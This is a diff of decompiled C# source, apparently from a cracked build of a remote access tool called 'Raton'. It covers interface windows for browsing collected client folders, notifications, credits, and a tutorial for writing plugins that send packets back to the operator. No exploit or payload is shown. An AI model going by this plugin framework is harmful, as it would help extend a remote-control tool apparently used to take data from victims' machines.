if (isChecked2.GetValueOrDefault() == flag2 & isChecked2.HasValue)
return "Information";
bool? isChecked3 = this.RbIconWarn.IsChecked;
bool flag3 = true;
if (isChecked3.GetValueOrDefault() == flag3 & isChecked3.HasValue)
return "Warning";
bool? isChecked4 = this.RbIconQst.IsChecked;
bool flag4 = true;
return isChecked4.GetValueOrDefault() == flag4 & isChecked4.HasValue ? "Question" : "No icon";
}
private static string RV(string content, string key)
{
string str1 = $"<{key}>";
int num1 = content.IndexOf(str1);
if (num1 == -1)
return "empty";
int startIndex = num1 + str1.Length;
int num2 = content.IndexOf(str1, startIndex);
if (num2 == -1)
return "empty";
string str2 = content.Substring(startIndex, num2 - startIndex);
return !string.IsNullOrWhiteSpace(str2) ? str2 : "empty";
}
private static string Fix(string s)
{
return !string.IsNullOrWhiteSpace(s) && !(s.ToLower() == "null") ? s : "empty";
}
private static string BoolStr(bool? b)
{
bool? nullable = b;
bool flag = true;
return !(nullable.GetValueOrDefault() == flag & nullable.HasValue) ? "false" : "true";
}
private static void ShowMsg(string msg, string title, MessageBoxImage icon)
{
int num = (int) Messenger.MessageBox(msg, title, icon: icon);
}
private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
{
}
}
@@ -0,0 +1,29 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.ClientFolderItem
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Windows;
public class ClientFolderItem
{
public string FolderName { get; set; }
public string FullPath { get; set; }
public string DepthLabel { get; set; }
public string ItemCount { get; set; }
public string LastModified { get; set; }
public string IconGlyph { get; set; }
public double IndentWidth { get; set; }
public int Depth { get; set; }
public bool IsFile { get; set; }
}
+263
View File
@@ -0,0 +1,263 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.ClientFolders
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Raton.Classes;
using RatonBack;
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media.Animation;
using System.Windows.Threading;
using WpfApp1;
#nullable disable
namespace Raton.Windows;
public partial class ClientFolders : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
private readonly List<ClientFolderItem> _allItems = new List<ClientFolderItem>();
private readonly ObservableCollection<ClientFolderItem> _filtered = new ObservableCollection<ClientFolderItem>();
private readonly Stack<string> _navStack = new Stack<string>();
private string _currentRoot;
private DispatcherTimer _toastTimer;
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public ClientFolders() => this.InitializeComponent();
private void Window_Loaded(object sender, RoutedEventArgs e)
{
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = 1;
ClientFolders.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
this._currentRoot = MainWindow.ClientsFolder;
this.LoadFolder(this._currentRoot, false);
}
private async void LoadFolder(string path, bool pushToStack)
{
if (pushToStack && this._currentRoot != null)
this._navStack.Push(this._currentRoot);
this._currentRoot = path;
this._allItems.Clear();
this._filtered.Clear();
this.FoldersGrid.ItemsSource = (IEnumerable) null;
this.TbFolderPath.Text = string.IsNullOrWhiteSpace(path) ? "Clients" : path;
this.BtnBack.Visibility = this._navStack.Count > 0 ? Visibility.Visible : Visibility.Collapsed;
if (string.IsNullOrWhiteSpace(path) || !Directory.Exists(path))
{
this.TbStatus.Text = "Folder not found";
}
else
{
try
{
int num = await BackendClient.ValidateSessionFlags(DeviceManager.GetHWID(), DeviceManager.GetOrCreateId()) ? 1 : 0;
}
catch (Exception ex)
{
int num = (int) MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
Environment.Exit(0);
return;
}
try
{
foreach (string path1 in (IEnumerable<string>) ((IEnumerable<string>) Directory.GetDirectories(path)).OrderBy<string, string>((Func<string, string>) (d => Path.GetFileName(d)), (IComparer<string>) StringComparer.OrdinalIgnoreCase))
{
DirectoryInfo directoryInfo = new DirectoryInfo(path1);
int num1 = 0;
int num2 = 0;
try
{
num1 = Directory.GetDirectories(path1).Length;
num2 = Directory.GetFiles(path1).Length;
}
catch
{
}
int num3 = num1 + num2;
this._allItems.Add(new ClientFolderItem()
{
FolderName = directoryInfo.Name,
FullPath = path1,
Depth = 0,
DepthLabel = "FOLDER",
ItemCount = num3.ToString() + (num3 == 1 ? " item" : " items"),
LastModified = directoryInfo.LastWriteTime.ToString("dd/MM/yyyy HH:mm"),
IconGlyph = "\uE8B7",
IndentWidth = 0.0,
IsFile = false
});
}
foreach (string fileName in (IEnumerable<string>) ((IEnumerable<string>) Directory.GetFiles(path)).OrderBy<string, string>((Func<string, string>) (f => Path.GetFileName(f)), (IComparer<string>) StringComparer.OrdinalIgnoreCase))
{
FileInfo fileInfo = new FileInfo(fileName);
this._allItems.Add(new ClientFolderItem()
{
FolderName = fileInfo.Name,
FullPath = fileName,
Depth = 0,
DepthLabel = fileInfo.Extension.TrimStart('.').ToUpperInvariant().DefaultIfEmpty("FILE"),
ItemCount = ClientFolders.FormatSize(fileInfo.Length),
LastModified = fileInfo.LastWriteTime.ToString("dd/MM/yyyy HH:mm"),
IconGlyph = ClientFolders.GetFileGlyph(fileInfo.Extension),
IndentWidth = 0.0,
IsFile = true
});
}
this.ApplyFilter(this.TbSearch.Text);
if (this._allItems.Count != 0)
return;
this.ShowEmptyToast();
}
catch (Exception ex)
{
this.TbStatus.Text = "Error: " + ex.Message;
}
}
}
private void ShowEmptyToast()
{
this._toastTimer?.Stop();
this.ToastEmpty.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) new DoubleAnimation(0.0, 1.0, (Duration) TimeSpan.FromMilliseconds(200.0)));
this._toastTimer = new DispatcherTimer()
{
Interval = TimeSpan.FromMilliseconds(2500.0)
};
this._toastTimer.Tick += (EventHandler) ((s, e) =>
{
this._toastTimer.Stop();
this.ToastEmpty.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) new DoubleAnimation(1.0, 0.0, (Duration) TimeSpan.FromMilliseconds(400.0)));
});
this._toastTimer.Start();
}
private static string FormatSize(long bytes)
{
if (bytes < 1024L /*0x0400*/)
return bytes.ToString() + " B";
return bytes < 1048576L /*0x100000*/ ? (bytes / 1024L /*0x0400*/).ToString() + " KB" : (bytes / 1048576L /*0x100000*/).ToString() + " MB";
}
private static string GetFileGlyph(string ext)
{
switch ((ext ?? "").ToLowerInvariant())
{
case ".7z":
case ".rar":
case ".zip":
return "\uE8B1";
case ".avi":
case ".mkv":
case ".mov":
case ".mp4":
return "\uE8B2";
case ".bmp":
case ".gif":
case ".jpeg":
case ".jpg":
case ".png":
case ".webp":
return "\uEB9F";
case ".cs":
case ".css":
case ".html":
case ".js":
case ".py":
case ".ts":
return "\uE943";
case ".doc":
case ".docx":
return "\uE8A5";
case ".flac":
case ".mp3":
case ".wav":
return "\uE8D6";
case ".pdf":
return "\uEA90";
case ".ppt":
case ".pptx":
return "\uE9D5";
case ".txt":
return "\uE8A5";
case ".xls":
case ".xlsx":
return "\uE9F9";
default:
return "\uE8A5";
}
}
private void TbSearch_TextChanged(object sender, TextChangedEventArgs e)
{
this.TbSearchPlaceholder.Visibility = string.IsNullOrEmpty(this.TbSearch.Text) ? Visibility.Visible : Visibility.Collapsed;
this.ApplyFilter(this.TbSearch.Text);
}
private void ApplyFilter(string query)
{
this._filtered.Clear();
foreach (ClientFolderItem clientFolderItem in string.IsNullOrWhiteSpace(query) ? (IEnumerable<ClientFolderItem>) this._allItems : this._allItems.Where<ClientFolderItem>((Func<ClientFolderItem, bool>) (f => f.FolderName != null && f.FolderName.IndexOf(query, StringComparison.OrdinalIgnoreCase) >= 0)))
this._filtered.Add(clientFolderItem);
this.FoldersGrid.ItemsSource = (IEnumerable) this._filtered;
int count = this._filtered.Count;
this.TbStatus.Text = count == 1 ? "1 item" : count.ToString() + " items";
}
private void FoldersGrid_MouseDoubleClick(object sender, MouseButtonEventArgs e)
{
if (!(this.FoldersGrid.SelectedItem is ClientFolderItem selectedItem))
return;
if (selectedItem.IsFile)
{
try
{
Process.Start(new ProcessStartInfo()
{
FileName = selectedItem.FullPath,
UseShellExecute = true
});
}
catch
{
}
}
else
{
this.TbSearch.Text = string.Empty;
this.LoadFolder(selectedItem.FullPath, true);
}
}
private void BtnBack_Click(object sender, RoutedEventArgs e)
{
if (this._navStack.Count == 0)
return;
string path = this._navStack.Pop();
this._currentRoot = (string) null;
this.TbSearch.Text = string.Empty;
this.LoadFolder(path, false);
}
}
+27
View File
@@ -0,0 +1,27 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.CreditEntry
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
#nullable disable
namespace Raton.Windows;
public class CreditEntry
{
public string AvatarPath { get; set; }
public string DisplayName { get; set; }
public string Handle { get; set; }
public string Contribution { get; set; }
public CreditEntry()
{
this.AvatarPath = (string) null;
this.DisplayName = "";
this.Handle = "";
this.Contribution = "";
}
}
+71
View File
@@ -0,0 +1,71 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Credits
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.CodeDom.Compiler;
using System.Collections;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Interop;
using System.Windows.Markup;
#nullable disable
namespace Raton.Windows;
public partial class Credits : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE_BEFORE_20H1 = 19;
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
[DllImport("dwmapi.dll")]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public Credits()
{
this.InitializeComponent();
this.SourceInitialized += new EventHandler(this.Credits_SourceInitialized);
this.LoadCredits();
}
private void Credits_SourceInitialized(object sender, EventArgs e) => this.ApplyDarkMode();
private void ApplyDarkMode()
{
try
{
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = 1;
if (Credits.DwmSetWindowAttribute(handle, 20, ref attrValue, 4) == 0)
return;
Credits.DwmSetWindowAttribute(handle, 19, ref attrValue, 4);
}
catch
{
}
}
private void LoadCredits()
{
this.CreditsList.ItemsSource = (IEnumerable) new List<CreditEntry>()
{
new CreditEntry()
{
AvatarPath = "/Raton;component/Assets/Avatars/plikan.jpg",
DisplayName = "dwey",
Handle = "@dwey",
Contribution = "dwey"
}
};
}
}
@@ -0,0 +1,60 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.ExceptionWindow
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Interop;
using System.Windows.Markup;
#nullable disable
namespace Raton.Windows;
public partial class ExceptionWindow : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public ExceptionWindow()
{
this.InitializeComponent();
this.Loaded += new RoutedEventHandler(this.Exc_loaded);
}
private void Exc_loaded(object sender, RoutedEventArgs e) => this.ApplyDarkMode();
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
ExceptionWindow.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
}
File diff suppressed because it is too large Load Diff
+210
View File
@@ -0,0 +1,210 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.Notification
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Threading;
#nullable disable
namespace Raton.Windows;
public partial class Notification : Window
{
private static Notification _instance;
public static void Show(string message, string iconGlyph = null, Color? iconColor = null)
{
Application.Current.Dispatcher.Invoke((Action) (() =>
{
if (Notification._instance == null || !Notification._instance.IsLoaded)
{
Notification._instance = new Notification();
Notification._instance.PositionWindow();
Notification._instance.Show();
}
Notification._instance.AddEntry(message, iconGlyph, iconColor);
Notification._instance.Activate();
}));
}
public Notification()
{
this.InitializeComponent();
this.Closed += new EventHandler(this.OnClosed);
}
private void OnClosed(object sender, EventArgs e) => Notification._instance = (Notification) null;
private void PositionWindow()
{
Rect workArea = SystemParameters.WorkArea;
this.Left = workArea.Right - this.Width - 16.0;
this.Top = workArea.Bottom - 10.0;
}
protected override void OnRenderSizeChanged(SizeChangedInfo info)
{
base.OnRenderSizeChanged(info);
if (!this.IsLoaded)
return;
Rect workArea = SystemParameters.WorkArea;
this.Left = workArea.Right - this.ActualWidth - 16.0;
this.Top = workArea.Bottom - this.ActualHeight - 16.0;
}
private void AddEntry(string message, string iconGlyph, Color? iconColor)
{
if (this.NotifStack.Children.Count > 0)
{
Border element = new Border();
element.Height = 1.0;
element.Background = (Brush) new SolidColorBrush(Color.FromRgb((byte) 42, (byte) 42, (byte) 42));
element.Margin = new Thickness(14.0, 0.0, 14.0, 0.0);
element.IsHitTestVisible = false;
this.NotifStack.Children.Add((UIElement) element);
}
Grid grid = new Grid();
grid.Margin = new Thickness(16.0, 14.0, 14.0, 14.0);
Grid row = grid;
row.ColumnDefinitions.Add(new ColumnDefinition()
{
Width = GridLength.Auto
});
row.ColumnDefinitions.Add(new ColumnDefinition()
{
Width = new GridLength(1.0, GridUnitType.Star)
});
row.ColumnDefinitions.Add(new ColumnDefinition()
{
Width = GridLength.Auto
});
bool flag = !string.IsNullOrWhiteSpace(iconGlyph);
if (flag)
{
TextBlock textBlock = new TextBlock();
textBlock.Text = iconGlyph;
textBlock.FontFamily = new FontFamily("Segoe MDL2 Assets");
textBlock.FontSize = 18.0;
textBlock.Foreground = (Brush) new SolidColorBrush(iconColor ?? Color.FromRgb((byte) 187, (byte) 187, (byte) 187));
textBlock.VerticalAlignment = VerticalAlignment.Top;
textBlock.Margin = new Thickness(0.0, 1.0, 12.0, 0.0);
textBlock.TextAlignment = TextAlignment.Center;
TextBlock element = textBlock;
Grid.SetColumn((UIElement) element, 0);
row.Children.Add((UIElement) element);
}
TextBlock textBlock1 = new TextBlock();
textBlock1.Text = message;
textBlock1.Foreground = (Brush) new SolidColorBrush(Color.FromRgb((byte) 204, (byte) 204, (byte) 204));
textBlock1.FontSize = 12.5;
textBlock1.FontFamily = new FontFamily("Segoe UI");
textBlock1.TextWrapping = TextWrapping.Wrap;
textBlock1.VerticalAlignment = VerticalAlignment.Center;
textBlock1.LineHeight = 18.0;
TextBlock element1 = textBlock1;
Grid.SetColumn((UIElement) element1, 1);
if (!flag)
Grid.SetColumnSpan((UIElement) element1, 1);
row.Children.Add((UIElement) element1);
Button button = new Button();
button.VerticalAlignment = VerticalAlignment.Top;
button.HorizontalAlignment = HorizontalAlignment.Right;
button.Margin = new Thickness(8.0, 0.0, 0.0, 0.0);
button.Style = (Style) this.Resources[(object) "CloseBtn"];
Button element2 = button;
Grid.SetColumn((UIElement) element2, 2);
row.Children.Add((UIElement) element2);
DispatcherTimer timer = new DispatcherTimer()
{
Interval = TimeSpan.FromSeconds(10.0)
};
bool isHovered = false;
bool timerFired = false;
timer.Tick += (EventHandler) ((s, e) =>
{
timer.Stop();
timerFired = true;
if (isHovered)
return;
this.RemoveEntryFade(row);
});
row.MouseEnter += (MouseEventHandler) ((s, e) =>
{
isHovered = true;
row.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) null);
row.Opacity = 1.0;
});
row.MouseLeave += (MouseEventHandler) ((s, e) =>
{
isHovered = false;
if (!timerFired)
return;
this.RemoveEntryFade(row);
});
Grid capturedRow = row;
element2.Click += (RoutedEventHandler) ((s, e) =>
{
timer.Stop();
this.RemoveEntryInstant(capturedRow);
});
row.Opacity = 0.0;
row.RenderTransform = (Transform) new TranslateTransform(0.0, 6.0);
row.RenderTransformOrigin = new Point(0.5, 0.5);
this.NotifStack.Children.Add((UIElement) row);
DoubleAnimation doubleAnimation1 = new DoubleAnimation(0.0, 1.0, (Duration) TimeSpan.FromMilliseconds(220.0));
CubicEase cubicEase1 = new CubicEase();
cubicEase1.EasingMode = EasingMode.EaseOut;
doubleAnimation1.EasingFunction = (IEasingFunction) cubicEase1;
DoubleAnimation animation1 = doubleAnimation1;
DoubleAnimation doubleAnimation2 = new DoubleAnimation(6.0, 0.0, (Duration) TimeSpan.FromMilliseconds(220.0));
CubicEase cubicEase2 = new CubicEase();
cubicEase2.EasingMode = EasingMode.EaseOut;
doubleAnimation2.EasingFunction = (IEasingFunction) cubicEase2;
DoubleAnimation animation2 = doubleAnimation2;
row.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
row.RenderTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
timer.Start();
}
private void RemoveEntryFade(Grid row)
{
DoubleAnimation doubleAnimation = new DoubleAnimation(1.0, 0.0, (Duration) TimeSpan.FromSeconds(10.0));
CubicEase cubicEase = new CubicEase();
cubicEase.EasingMode = EasingMode.EaseIn;
doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
DoubleAnimation animation = doubleAnimation;
animation.Completed += (EventHandler) ((s, e) => this.RemoveRowFromStack(row));
row.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
}
private void RemoveEntryInstant(Grid row) => this.RemoveRowFromStack(row);
private void RemoveRowFromStack(Grid row)
{
int num1 = this.NotifStack.Children.IndexOf((UIElement) row);
if (num1 < 0)
return;
if (num1 > 0 && this.NotifStack.Children[num1 - 1] is Border child2 && child2.Height == 1.0)
{
this.NotifStack.Children.RemoveAt(num1 - 1);
int num2 = num1 - 1;
}
else if (num1 < this.NotifStack.Children.Count - 1 && this.NotifStack.Children[num1 + 1] is Border child1 && child1.Height == 1.0)
this.NotifStack.Children.RemoveAt(num1 + 1);
this.NotifStack.Children.Remove((UIElement) row);
if (this.NotifStack.Children.Count != 0)
return;
this.Close();
}
}
+263
View File
@@ -0,0 +1,263 @@
// Decompiled with JetBrains decompiler
// Type: Raton.Windows.PluginTutorial
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using Microsoft.Win32;
using System;
using System.CodeDom.Compiler;
using System.ComponentModel;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Interop;
using System.Windows.Markup;
using System.Windows.Media;
using System.Windows.Media.Animation;
using System.Windows.Threading;
#nullable disable
namespace Raton.Windows;
public partial class PluginTutorial : Window
{
private const int DWMWA_USE_IMMERSIVE_DARK_MODE = 20;
[DllImport("dwmapi.dll", CharSet = CharSet.Auto)]
private static extern int DwmSetWindowAttribute(
IntPtr hwnd,
int attr,
ref int attrValue,
int attrSize);
public PluginTutorial()
{
this.InitializeComponent();
this.Loaded += new RoutedEventHandler(this.PluginTutorial_Loaded);
}
private void PluginTutorial_Loaded(object sender, RoutedEventArgs e)
{
this.AnimateIn();
this.ApplyDarkMode();
}
private void ApplyDarkMode()
{
bool flag = this.IsWindowsDarkMode();
IntPtr handle = new WindowInteropHelper((Window) this).Handle;
int attrValue = flag ? 1 : 0;
PluginTutorial.DwmSetWindowAttribute(handle, 20, ref attrValue, Marshal.SizeOf(typeof (int)));
}
private bool IsWindowsDarkMode()
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize"))
{
if (registryKey != null)
{
if (registryKey.GetValue("AppsUseLightTheme") is int num)
return num == 0;
}
}
return false;
}
private void AnimateIn()
{
this.ContentPanel.Opacity = 0.0;
this.ContentPanel.RenderTransform = (Transform) new TranslateTransform(0.0, 18.0);
DoubleAnimation doubleAnimation1 = new DoubleAnimation(0.0, 1.0, (Duration) TimeSpan.FromMilliseconds(380.0));
CubicEase cubicEase1 = new CubicEase();
cubicEase1.EasingMode = EasingMode.EaseOut;
doubleAnimation1.EasingFunction = (IEasingFunction) cubicEase1;
DoubleAnimation animation1 = doubleAnimation1;
DoubleAnimation doubleAnimation2 = new DoubleAnimation(18.0, 0.0, (Duration) TimeSpan.FromMilliseconds(380.0));
CubicEase cubicEase2 = new CubicEase();
cubicEase2.EasingMode = EasingMode.EaseOut;
doubleAnimation2.EasingFunction = (IEasingFunction) cubicEase2;
DoubleAnimation animation2 = doubleAnimation2;
this.ContentPanel.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation1);
this.ContentPanel.RenderTransform.BeginAnimation(TranslateTransform.YProperty, (AnimationTimeline) animation2);
}
private void AnimateScroll(double toOffset)
{
double from = this.MainScroll.VerticalOffset;
double to = Math.Max(0.0, toOffset);
double elapsed = 0.0;
double dur = 320.0;
DispatcherTimer timer = new DispatcherTimer()
{
Interval = TimeSpan.FromMilliseconds(16.0)
};
timer.Tick += (EventHandler) ((s, e) =>
{
elapsed += 16.0;
double num = Math.Min(elapsed / dur, 1.0);
this.MainScroll.ScrollToVerticalOffset(from + (to - from) * (1.0 - Math.Pow(1.0 - num, 3.0)));
if (num < 1.0)
return;
timer.Stop();
});
timer.Start();
}
private void ScrollToSection(FrameworkElement section)
{
this.AnimateScroll(section.TranslatePoint(new Point(0.0, 0.0), (UIElement) this.ContentPanel).Y - 16.0);
this.AnimateSectionHighlight(section);
}
private void AnimateSectionHighlight(FrameworkElement section)
{
DoubleAnimationUsingKeyFrames animation = new DoubleAnimationUsingKeyFrames();
animation.KeyFrames.Add((DoubleKeyFrame) new EasingDoubleKeyFrame(0.35, KeyTime.FromTimeSpan(TimeSpan.Zero)));
DoubleKeyFrameCollection keyFrames = animation.KeyFrames;
EasingDoubleKeyFrame keyFrame = new EasingDoubleKeyFrame(1.0, KeyTime.FromTimeSpan(TimeSpan.FromMilliseconds(300.0)));
CubicEase cubicEase = new CubicEase();
cubicEase.EasingMode = EasingMode.EaseOut;
keyFrame.EasingFunction = (IEasingFunction) cubicEase;
keyFrames.Add((DoubleKeyFrame) keyFrame);
section.BeginAnimation(UIElement.OpacityProperty, (AnimationTimeline) animation);
}
private void Nav_Welcome(object sender, MouseButtonEventArgs e) => this.AnimateScroll(0.0);
private void Nav_Structure(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_Structure);
}
private void Nav_PluginInfo(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_PluginInfo);
}
private void Nav_EntryPoint(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_EntryPoint);
}
private void Nav_Pack(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_Pack);
}
private void Nav_Args(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_Args);
}
private void Nav_PackRef(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_PackRef);
}
private void Nav_Example(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_Example);
}
private void Nav_Tips(object sender, MouseButtonEventArgs e)
{
this.ScrollToSection((FrameworkElement) this.Sec_Tips);
}
private void CopyToClipboard(string text, Border btn)
{
try
{
Clipboard.SetText(text);
this.FlashCopyButton(btn, "Copied!");
}
catch
{
this.FlashCopyButton(btn, "Failed");
}
}
private void FlashCopyButton(Border btn, string message)
{
if (btn == null)
return;
TextBlock tb = PluginTutorial.FindChild<TextBlock>((DependencyObject) btn);
if (tb == null)
return;
string original = tb.Text;
tb.Text = message;
tb.Foreground = (Brush) new SolidColorBrush(message == "Copied!" ? System.Windows.Media.Color.FromRgb((byte) 76, (byte) 175, (byte) 80 /*0x50*/) : System.Windows.Media.Color.FromRgb((byte) 239, (byte) 83, (byte) 80 /*0x50*/));
if (!(btn.RenderTransform is ScaleTransform))
{
btn.RenderTransformOrigin = new Point(0.5, 0.5);
btn.RenderTransform = (Transform) new ScaleTransform(1.0, 1.0);
}
DoubleAnimation doubleAnimation = new DoubleAnimation(1.0, 1.14, (Duration) TimeSpan.FromMilliseconds(100.0));
doubleAnimation.AutoReverse = true;
CubicEase cubicEase = new CubicEase();
cubicEase.EasingMode = EasingMode.EaseOut;
doubleAnimation.EasingFunction = (IEasingFunction) cubicEase;
DoubleAnimation animation = doubleAnimation;
btn.RenderTransform.BeginAnimation(ScaleTransform.ScaleXProperty, (AnimationTimeline) animation);
DispatcherTimer timer = new DispatcherTimer()
{
Interval = TimeSpan.FromMilliseconds(1400.0)
};
timer.Tick += (EventHandler) ((s, e) =>
{
tb.Text = original;
tb.Foreground = (Brush) new SolidColorBrush(System.Windows.Media.Color.FromRgb((byte) 76, (byte) 175, (byte) 80 /*0x50*/));
timer.Stop();
});
timer.Start();
}
private static T FindChild<T>(DependencyObject parent) where T : DependencyObject
{
if (parent == null)
return default (T);
for (int childIndex = 0; childIndex < VisualTreeHelper.GetChildrenCount(parent); ++childIndex)
{
DependencyObject child1 = VisualTreeHelper.GetChild(parent, childIndex);
if (child1 is T child2)
return child2;
T child3 = PluginTutorial.FindChild<T>(child1);
if ((object) child3 != null)
return child3;
}
return default (T);
}
private void CopyCode_PluginInfoAttr(object sender, MouseButtonEventArgs e)
{
this.CopyToClipboard("using System;\r\n[AttributeUsage(AttributeTargets.Class)]\r\npublic class PluginInfoAttribute : Attribute\r\n{\r\n public string Description { get; }\r\n public string Provider { get; }\r\n\r\n public PluginInfoAttribute(string description)\r\n {\r\n Provider = \"Raton\";\r\n Description = description;\r\n }\r\n}", sender as Border);
}
private void CopyCode_PluginInfoUsage(object sender, MouseButtonEventArgs e)
{
this.CopyToClipboard("[PluginInfo(\"Example plugin for testing\")]\r\nclass Program\r\n{\r\n}", sender as Border);
}
private void CopyCode_Main(object sender, MouseButtonEventArgs e)
{
this.CopyToClipboard("public static Action<byte[]> _send;\r\n\r\nstatic void Main(Action<byte[]> send, string[] args)\r\n{\r\n _send = send;\r\n if (args == null || args.Length == 0)\r\n {\r\n ExecuteArg(\"default\", \"\");\r\n return;\r\n }\r\n ParseArgs(args);\r\n}", sender as Border);
}
private void CopyCode_Pack(object sender, MouseButtonEventArgs e)
{
this.CopyToClipboard("Pack pack = new Pack();\r\npack.SetString(\"Packet\", \"UserMessage\");\r\npack.SetString(\"Message\", \"Hello from my plugin!\");\r\npack.SetString(\"Status\", \"Success\");\r\n_send(pack.Pacc());", sender as Border);
}
private void CopyCode_ParseArgs(object sender, MouseButtonEventArgs e)
{
this.CopyToClipboard("static void ParseArgs(string[] args)\r\n{\r\n string currentArg = null;\r\n StringBuilder valueBuilder = new StringBuilder();\r\n for (int i = 0; i < args.Length; i++)\r\n {\r\n string arg = args[i];\r\n if (arg.StartsWith(\"-\"))\r\n {\r\n if (currentArg != null)\r\n ExecuteArg(currentArg, valueBuilder.ToString());\r\n currentArg = arg.ToLower();\r\n valueBuilder.Clear();\r\n }\r\n else\r\n {\r\n if (valueBuilder.Length > 0) valueBuilder.Append(\" \");\r\n valueBuilder.Append(arg);\r\n }\r\n }\r\n if (currentArg != null)\r\n ExecuteArg(currentArg, valueBuilder.ToString());\r\n}", sender as Border);
}
private void CopyCode_Full(object sender, MouseButtonEventArgs e)
{
